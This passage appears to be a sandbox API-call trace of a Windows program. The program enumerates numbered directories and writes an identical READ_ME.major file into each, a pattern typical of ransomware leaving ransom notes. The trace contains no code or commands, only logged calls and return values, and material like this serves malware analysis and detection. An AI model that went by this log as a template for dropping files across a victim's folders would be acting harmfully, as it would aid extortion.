lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0107.947] CloseHandle (hObject=0x454) returned 1 [0107.948] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0107.948] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1a0 | out: hHeap=0x570000) returned 1 [0107.948] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d290 | out: hHeap=0x570000) returned 1 [0107.948] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0107.948] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="1032", cAlternateFileName="")) returned 1 [0107.948] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0107.948] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0107.948] GetLastError () returned 0x0 [0107.948] SetLastError (dwErrCode=0x0) [0107.948] GetLastError () returned 0x0 [0107.948] SetLastError (dwErrCode=0x0) [0107.948] GetLastError () returned 0x0 [0107.948] SetLastError (dwErrCode=0x0) [0107.948] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0107.948] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1130 [0107.948] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0107.948] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1d0 [0107.948] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d380 [0107.948] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0107.948] GetLastError () returned 0x0 [0107.949] SetLastError (dwErrCode=0x0) [0107.949] GetLastError () returned 0x0 [0107.949] SetLastError (dwErrCode=0x0) [0107.949] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0107.949] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0107.949] GetLastError () returned 0x0 [0107.949] SetLastError (dwErrCode=0x0) [0107.949] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0107.949] CreateFileW (lpFileName="\\588bce7c90097ed212\\1032\\READ_ME.major" (normalized: "c:\\588bce7c90097ed212\\1032\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0108.099] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0108.099] WriteFile (in: hFile=0x454, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0108.100] CloseHandle (hObject=0x454) returned 1 [0108.100] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0108.100] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d380 | out: hHeap=0x570000) returned 1 [0108.100] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1d0 | out: hHeap=0x570000) returned 1 [0108.100] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0108.100] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="1033", cAlternateFileName="")) returned 1 [0108.100] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0108.100] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0108.100] GetLastError () returned 0x0 [0108.100] SetLastError (dwErrCode=0x0) [0108.100] GetLastError () returned 0x0 [0108.100] SetLastError (dwErrCode=0x0) [0108.100] GetLastError () returned 0x0 [0108.101] SetLastError (dwErrCode=0x0) [0108.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0108.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0ca8 [0108.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0108.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d240 [0108.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1c0 [0108.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0108.101] GetLastError () returned 0x0 [0108.101] SetLastError (dwErrCode=0x0) [0108.101] GetLastError () returned 0x0 [0108.101] SetLastError (dwErrCode=0x0) [0108.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0108.101] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0108.101] GetLastError () returned 0x0 [0108.101] SetLastError (dwErrCode=0x0) [0108.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0108.101] CreateFileW (lpFileName="\\588bce7c90097ed212\\1033\\READ_ME.major" (normalized: "c:\\588bce7c90097ed212\\1033\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0108.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0108.104] WriteFile (in: hFile=0x454, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0108.104] CloseHandle (hObject=0x454) returned 1 [0108.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0108.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1c0 | out: hHeap=0x570000) returned 1 [0108.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0108.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0108.105] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="1035", cAlternateFileName="")) returned 1 [0108.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0108.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0108.105] GetLastError () returned 0x0 [0108.105] SetLastError (dwErrCode=0x0) [0108.105] GetLastError () returned 0x0 [0108.105] SetLastError (dwErrCode=0x0) [0108.105] GetLastError () returned 0x0 [0108.105] SetLastError (dwErrCode=0x0) [0108.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7450 [0108.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0cf8 [0108.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0108.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1c0 [0108.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d350 [0108.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0108.106] GetLastError () returned 0x0 [0108.106] SetLastError (dwErrCode=0x0) [0108.106] GetLastError () returned 0x0 [0108.106] SetLastError (dwErrCode=0x0) [0108.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0108.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0108.106] GetLastError () returned 0x0 [0108.106] SetLastError (dwErrCode=0x0) [0108.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0108.106] CreateFileW (lpFileName="\\588bce7c90097ed212\\1035\\READ_ME.major" (normalized: "c:\\588bce7c90097ed212\\1035\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0108.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0108.108] WriteFile (in: hFile=0x454, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0108.109] CloseHandle (hObject=0x454) returned 1 [0108.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0108.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d350 | out: hHeap=0x570000) returned 1 [0108.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1c0 | out: hHeap=0x570000) returned 1 [0108.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0108.109] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="1036", cAlternateFileName="")) returned 1 [0108.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0108.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0108.109] GetLastError () returned 0x0 [0108.109] SetLastError (dwErrCode=0x0) [0108.109] GetLastError () returned 0x0 [0108.109] SetLastError (dwErrCode=0x0) [0108.109] GetLastError () returned 0x0 [0108.109] SetLastError (dwErrCode=0x0) [0108.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7720 [0108.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5898b0 [0108.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0108.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d240 [0108.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2c0 [0108.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0108.110] GetLastError () returned 0x0 [0108.110] SetLastError (dwErrCode=0x0) [0108.110] GetLastError () returned 0x0 [0108.110] SetLastError (dwErrCode=0x0) [0108.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0108.110] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0108.110] GetLastError () returned 0x0 [0108.110] SetLastError (dwErrCode=0x0) [0108.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0108.110] CreateFileW (lpFileName="\\588bce7c90097ed212\\1036\\READ_ME.major" (normalized: "c:\\588bce7c90097ed212\\1036\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0108.128] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0108.128] WriteFile (in: hFile=0x454, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0108.129] CloseHandle (hObject=0x454) returned 1 [0108.129] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0108.129] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2c0 | out: hHeap=0x570000) returned 1 [0108.129] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0108.129] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0108.129] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="1037", cAlternateFileName="")) returned 1 [0108.129] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0108.129] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77f8 [0108.130] GetLastError () returned 0x0 [0108.130] SetLastError (dwErrCode=0x0) [0108.130] GetLastError () returned 0x0 [0108.130] SetLastError (dwErrCode=0x0) [0108.130] GetLastError () returned 0x0 [0108.130] SetLastError (dwErrCode=0x0) [0108.130] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0108.130] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589978 [0108.130] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0108.130] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d380 [0108.130] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0108.130] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0108.130] GetLastError () returned 0x0 [0108.130] SetLastError (dwErrCode=0x0) [0108.130] GetLastError () returned 0x0 [0108.130] SetLastError (dwErrCode=0x0) [0108.130] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0108.130] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0108.130] GetLastError () returned 0x0 [0108.130] SetLastError (dwErrCode=0x0) [0108.130] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee18 [0108.130] CreateFileW (lpFileName="\\588bce7c90097ed212\\1037\\READ_ME.major" (normalized: "c:\\588bce7c90097ed212\\1037\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0108.168] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0108.168] WriteFile (in: hFile=0x454, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0108.169] CloseHandle (hObject=0x454) returned 1 [0108.169] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0108.169] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0108.169] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d380 | out: hHeap=0x570000) returned 1 [0108.169] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0108.169] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="1038", cAlternateFileName="")) returned 1 [0108.169] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77f8 | out: hHeap=0x570000) returned 1 [0108.169] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0108.170] GetLastError () returned 0x0 [0108.170] SetLastError (dwErrCode=0x0) [0108.170] GetLastError () returned 0x0 [0108.170] SetLastError (dwErrCode=0x0) [0108.170] GetLastError () returned 0x0 [0108.170] SetLastError (dwErrCode=0x0) [0108.170] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77f8 [0108.170] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb48 [0108.170] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0108.170] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d200 [0108.170] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d260 [0108.170] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0108.170] GetLastError () returned 0x0 [0108.170] SetLastError (dwErrCode=0x0) [0108.170] GetLastError () returned 0x0 [0108.170] SetLastError (dwErrCode=0x0) [0108.170] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0108.170] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0108.170] GetLastError () returned 0x0 [0108.170] SetLastError (dwErrCode=0x0) [0108.170] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0108.170] CreateFileW (lpFileName="\\588bce7c90097ed212\\1038\\READ_ME.major" (normalized: "c:\\588bce7c90097ed212\\1038\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0108.172] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0108.172] WriteFile (in: hFile=0x454, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0108.173] CloseHandle (hObject=0x454) returned 1 [0108.173] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0108.174] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d260 | out: hHeap=0x570000) returned 1 [0108.174] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d200 | out: hHeap=0x570000) returned 1 [0108.174] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0108.174] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="1040", cAlternateFileName="")) returned 1 [0108.174] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0108.174] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0108.174] GetLastError () returned 0x0 [0108.174] SetLastError (dwErrCode=0x0) [0108.174] GetLastError () returned 0x0 [0108.174] SetLastError (dwErrCode=0x0) [0108.174] GetLastError () returned 0x0 [0108.174] SetLastError (dwErrCode=0x0) [0108.174] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7180 [0108.174] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb20 [0108.174] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0108.174] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0108.174] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d290 [0108.174] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0108.174] GetLastError () returned 0x0 [0108.174] SetLastError (dwErrCode=0x0) [0108.174] GetLastError () returned 0x0 [0108.174] SetLastError (dwErrCode=0x0) [0108.174] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0108.174] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0108.174] GetLastError () returned 0x0 [0108.175] SetLastError (dwErrCode=0x0) [0108.175] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0108.175] CreateFileW (lpFileName="\\588bce7c90097ed212\\1040\\READ_ME.major" (normalized: "c:\\588bce7c90097ed212\\1040\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0108.194] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0108.194] WriteFile (in: hFile=0x454, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0108.196] CloseHandle (hObject=0x454) returned 1 [0108.196] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0108.196] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d290 | out: hHeap=0x570000) returned 1 [0108.196] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0108.196] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0108.196] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="1041", cAlternateFileName="")) returned 1 [0108.196] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0108.196] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0108.196] GetLastError () returned 0x0 [0108.196] SetLastError (dwErrCode=0x0) [0108.196] GetLastError () returned 0x0 [0108.196] SetLastError (dwErrCode=0x0) [0108.196] GetLastError () returned 0x0 [0108.197] SetLastError (dwErrCode=0x0) [0108.197] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0108.197] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc9e0 [0108.197] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0108.197] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2d0 [0108.197] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d240 [0108.197] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0108.197] GetLastError () returned 0x0 [0108.197] SetLastError (dwErrCode=0x0) [0108.197] GetLastError () returned 0x0 [0108.197] SetLastError (dwErrCode=0x0) [0108.197] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0108.197] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0108.197] GetLastError () returned 0x0 [0108.197] SetLastError (dwErrCode=0x0) [0108.197] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0108.197] CreateFileW (lpFileName="\\588bce7c90097ed212\\1041\\READ_ME.major" (normalized: "c:\\588bce7c90097ed212\\1041\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0108.201] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0108.201] WriteFile (in: hFile=0x454, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0108.202] CloseHandle (hObject=0x454) returned 1 [0108.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0108.203] 